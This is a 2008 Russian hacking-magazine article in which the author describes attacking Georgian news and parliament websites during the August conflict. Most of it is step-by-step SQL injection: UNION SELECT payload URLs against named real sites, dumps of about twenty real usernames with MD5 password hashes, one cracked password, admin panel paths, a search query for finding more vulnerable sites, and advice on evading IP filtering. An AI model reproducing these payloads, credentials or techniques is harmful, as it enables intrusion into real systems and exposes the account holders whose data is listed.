Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #118, ОКТЯБРЬ 2008 г.

Наш ответ Грузии: Наносим удары по грузинским госпорталам

Леонид «R0id» Стройков (stroikov@gameland.ru)

Ни для кого не секрет, что все политические события находят отражение в Сети. Так было во время нападения террористов на Нальчик в позапрошлом году (вспомним массовые атаки на сервер КавказЦентра). Так произошло и во время августовских событий в Южной Осетии. Кибер-войны стали неотъемлемой частью реальных, кровопролитных, событий. Хорошо это или плохо – каждый решает сам. Но мы, хакеры, решили – что плохо!

Мирное распитие пива в сочетании с пролистыванием башорга было неожиданно прервано экстренными выпусками новостей о ходе развития грузино-осетинского конфликта. Просмотрев новостные ленты и убедившись в бесполезности уподобления участникам политических баталий, я решил прошерстить несколько государственных и информационных ресурсов в доменной зоне .GE.

Атакуем СМИ

Как известно, ни одно крупномасштабное событие не обходится без участия средств массовой информации. В свою очередь, они активно используют интернет для передачи своего видения происходящего. Да, ты не ослышался, именно «своего видения», ибо каждое СМИ публикует исключительно то, что хочет (или то, что подсказали). Абсолютно противоположные взгляды российских и западных/грузинских изданий побудили меня глубже вникнуть в ситуацию, со всеми вытекающими отсюда последствиями :). В качестве первого объекта для установления информационного баланса на просторах зоны .GE был выбрал ресурс www.presa.ge. Название домена говорит само за себя, поэтому я не стану описывать контент сайта. Скажу лишь, что по данным Гугла портал имеет PR 5.

После «Reverse IP» сервера стало понятно, что сайт хостится в Грузии и имеет поддомен pda.presa.ge. Поработав с движком ресурса www.presa.ge, через некоторое время я отыскал типичный sql-инъект, который имел вид:

http://www.presa.ge/index.php?text=news&i=-1+sql-запрос

Функции user() и version() выдали достаточно радужную для меня инфу:

user() - presa_ge@localhost
version() - 5.0.51

Версия мускула была выше 5, и, следовательно, перебор табличек не представлял собой ничего сверхъестественного:

http://www.presa.ge/index.php?text=news&i=-1+union+select+1,2,table_name,4,5,6,7,8,9,10,11+from+information_schema.tables+limit+21,1--

К моему удивлению, табличка «users» имела всего одну запись:

http://www.presa.ge/index.php?text=news&i=-1+union+select+1,2,count(*),4,5,6,7,8,9,10,11+from+users--

Тем не менее, логин и пароль удалось заполучить без особых проблем:

http://www.presa.ge/index.php?text=news&i=-1+union+select+1,2,concat(user_username,char(58),user_password),4,5,6,7,8,9,10,11+from+users+limit+0,1--

А сам аккаунт имел вид:

presa.ge:c1ab283404b71a940807009023a764bd

Судя по хэшу, пасс был шифрован md5-алгоритмом, что при правильном подходе не сулило ничего сложного. Огорчало другое, – мне так и не удалось найти месторасположение админки либо формочки логина пользователей. Сканирование доступных для просмотра каталогов на сервере результатов также не принесло. А load_file() в мускуле упорно отказывался работать (видимо, по причине отсутствия прав).

Поразмыслив, я запустил брут добытого хэша (c1ab283404b71a940807009023a764bd) на одном из забугорных дедиков (с целью в дальнейшем потыкать пароль на фтп/ссш/etc) и принялся за поиск новой жертвы.

На этот раз моего внимания удостоился крупный грузинский портал с красноречивым доменом www.internet.ge. Высокий PR и обилие информационных материалов свидетельствовали о широкой популярности портала. Реверс IP показал, что на сервере, помимо www.internet.ge, хостилось еще с десяток грузинских ресурсов:

astrology.internet.ge [212.72.130.138]
dsl.ge [212.72.130.138]
dsl.online.ge [212.72.130.138]
magistrali.ge [212.72.130.138]
www.adsl.ge [212.72.130.138]
www.caucasus.net [212.72.130.138]
www.caucasusonline.ge [212.72.130.138]
www.ge [212.72.130.138]
www.georgia.net.ge [212.72.130.138]
www.internet.ge [212.72.130.138]
www.online.ge [212.72.130.138]
www.sanet.ge [212.72.130.138]

Как оказалось, с примечательного www.ge был настроен редирект на www.internet.ge :). Однако на основном поддомене уязвимостей обнаружить не удалось. Тогда, перерыв Гугл, я составил список поддоменов портала:

archiveinews.internet.ge
astrology.internet.ge
inews.internet.ge
kids.internet.ge
passport.internet.ge
politics.internet.ge
sport.internet.ge
top.internet.ge
tv.internet.ge
valuta.internet.ge

Просмотрев поверхностно каждый из поддоменов, я обнаружил неявную sql-инъекцию на inews.internet.ge:

http://inews.internet.ge/stat_relatives.html?date=2008-08-09&stat=-1+union+select+1,2,3,4,table_name,6,7,8,9,10,11,12,13+from+information_schema.tables+limit+25,1/*

Сам инъект прекрасно функционировал, но обилие табличек, в том числе и с малопонятными названиями, отбивало всякое желание работать. Кроме того, на доступ ко многим таблицам у пользователя webuser@localhost (от имени которого я выполнял запросы) попросту не хватало прав. О наличии file_priv говорить тоже не приходилось. Не радовала и обнаруженная админка ресурса:

http://www.internet.ge/admin/

Доступ к ней определялся, судя по всему, хтассесом. Сохранив багу в закладках браузера до лучших (читай – худших) времен, я решил попытать удачу на поприще грузинских гос-ресурсов. Задача предстояла нелегкая, но после «боевой» разминки азарта только прибавилось.

Контрольный удар

Посетив несколько грузинских государственных ресурсов, я остановил свой выбор на сайте парламента Грузии – www.parliament.ge. Просканировал структуру ресурса и получил следующую картину:

- files (каталог) - содержал в себе множество различных pdf-документов:
100_18166_776783_demands.pdf
1048_16533_150665_jandacva.pdf
1048_16533_216628_ADCHARA.pdf
1048_16533_243251_adamianisyflebata.pdf
1048_16533_788983_axalgazrdaiuristTaasociacia.pdf
1049_16559_119653_08_Page_01.pdf
1049_16559_173943_07_Page_01.pdf
1049_16559_194949_08_Page_02.pdf
1049_16559_263487_region_april.pdf
...etc

- newsletter (каталог) - содержимое:
2006
laws15
laws16

- pages (каталог) - содержимое:
photos_dep_08_12
archive_en (каталог) - содержимое:
parl92
parl99

Движок ресурса был написан на PHP, посему, недолго думая, я приступил к анализу скриптов. Благо, на этот раз мне повезло: уязвимость находилась в скрипте index.php в нефильтруемом параметре «sec_id». Сам запрос выглядел так:

http://www.parliament.ge/index.php?lang_id=ENG&sec_id=1185&info_id=-1+sql-запрос

Кроме того, бага раскрывала путь к корню ресурса:

/usr/local/www/parliament/

Как и в предыдущих случаях, доступа к file_priv не было, а значит, на использование load_file() можно было не рассчитывать. Не было доступа и к mysql.user. Тогда я просмотрел инфу о базе и пользователе:

user: dato@localhost
version: 5.0.51a-log

И принялся за поиск аппетитных табличек в базе. Наткнувшись на табличку под названием «users», я без труда смог перебирать захэшированные пароли пользователей, коих насчитывалось около 800:

http://www.parliament.ge/index.php?lang_id=ENG&sec_id=1185&info_id=-1+union+select+1,2,3,4,5,6,7,password,9,10,11, 12,13+FROM+users+limit+1,1--

Вскоре, сконструировав запрос с помощью cancat(), я получил полноценный доступ к БД с юзерскими аккаунтами:

http://www.parliament.ge/index.php?lang_id=ENG&sec_id=1185&info_id=-1+union+select+1,2,3,4,concat(username,char(58),password),6,7,8,9,10,11,12,13+from+users+limit+10,1--

Таким образом, я слил пару десятков аккаунтов вида:

vivageodea:55e9a83d8533e24df2a3d444aedb48e8
ekaterine:db5fb6fa2471863726e685490b97eb18
natisu:c713e1fcb5aff9589f7a324f7f921274
irina:66fbac9b06bedcefa0db4f21801e0c8e
manana:3653d0afb2d74de57c3e13ee2fe38b97
dgogich:703042aefd627a8c86c4de140cc80c6e
improvi:049cbc233e47e7ed04f3e230f1617458
natato:52831a7af0cfd924e39b17d1a11c69f1
ml:90a4f54798b26764dc83f6e50532ea77
elene:fa332b2c68e40f0515108363a130a7f1
dika:e9ce15bcebcedde2cb3cf9fe8f84fc0c:
kalim:5552477fe66043d09b6f19951a5925f9
lika:85f5fed488c6eedfc68848d6ba403721
kkkkkkk:472c049a51e65aa2623a9f57f0904c07
zazagg:9e2187a19490233e330054a19598ae75
medea:e5b5a57b9d168fbdd42a1e8799dd59c3
datoadam:a884c31c12f6659ec46c39b3208c4f3c
fredi:781d90556013e48ec80a2d273fc29dc5
tamtuka:5e4c29a21d70d4b5185af9c43bf88a10

Сбрутив выборочно первый из паролей, я стал счастливым обладателем полноценного аккаунта к системе:

логин: vivageodea
пароль: eannia
хэш: 55e9a83d8533e24df2a3d444aedb48e8

Нащупать админку не составило особого труда. Она находилась по стандартному расположению в каталоге /admin:

http://www.parliament.ge/admin/

Но при переходе по линку меня ждало разочарование в виде недвусмысленной надписи «Forbidden». По всей видимости, доступ к админке был закрыт либо фильтровался по неизвестному мне диапазону IP-адресов.

Мириться с таким положением вещей абсолютно не хотелось, посему я принялся парсить поддомены ресурса. К моему удивлению, единственный поддомен http://users.parliament.ge работал на том же движке, что и www.parliament.ge. Следовательно, успешно функционировал и найденный ранее баг:

http://users.parliament.ge/index.php?lang_id=ENG&sec_id=1185&info_id=-1+union+select+1,2,3,4,concat(username,char(58),password),6,7,8,9,10,11,12,13+from+users+limit+10,1--

А больше всего меня обрадовала рабочая админка, располагавшаяся по адресу:

http://users.parliament.ge/admin/

Что было дальше, думаю, описывать не имеет смысла. Пусть это останется моим маленьким секретом. Дефейсить или нет – личное дело каждого, мое же отношение к дефам – отрицательное. Меня больше интересовала судьба бажного движка, которую я решил прояснить при помощи Гугла. Вбил в поисковик запрос вида:

inurl:.ge + inurl:"/index.php?lang_id=ENG"

И перешел по линку:

http://www.google.ru/search?complete=1&hl=en&newwindow=1&q=inurl%3A.ge+%2B+inurl%3A%22%2Findex.php%3Flang_id%3DENG%22&btnG=Search&aq=f&oq=

Перед моим взором открылось несколько десятков ресурсов с уязвимым скриптом... Впрочем, как говорится, это уже совсем другая история.

Разбор налетов

Можно долго спорить на тему «быть дефейсу или не быть», можно ввязываться в политические баталии. Сути это не изменит. Сеть изначально была пространством свободы, свободы выражения мыслей и свободы действий. Именно поэтому взлом – это искусство, а не способ решения политических проблем. Так или иначе – выбирать тебе. Я искренне надеюсь, что ты сделаешь правильный выбор. Удачи тебе, и до новых встреч на страницах журнала.

Danger

Внимание! Информация представлена исключительно с целью ознакомления! Ни автор, ни редакция за твои действия ответственности не несут!

Info

  • Не все уязвимости одинаково полезны! Порой стоит отложить в сторону явные «глухари», чтобы заняться по-настоящему стоящим делом.
  • Не забывай, что на крупных ресурсах всегда присутствует масса поддоменов, которые часто таят в себе множество уязвимостей.
  • Если доступ к админке прикрыт фильтрацией по IP, можно попробовать подобрать сокс или проксик той страны, в которой располагается сервер.
Содержание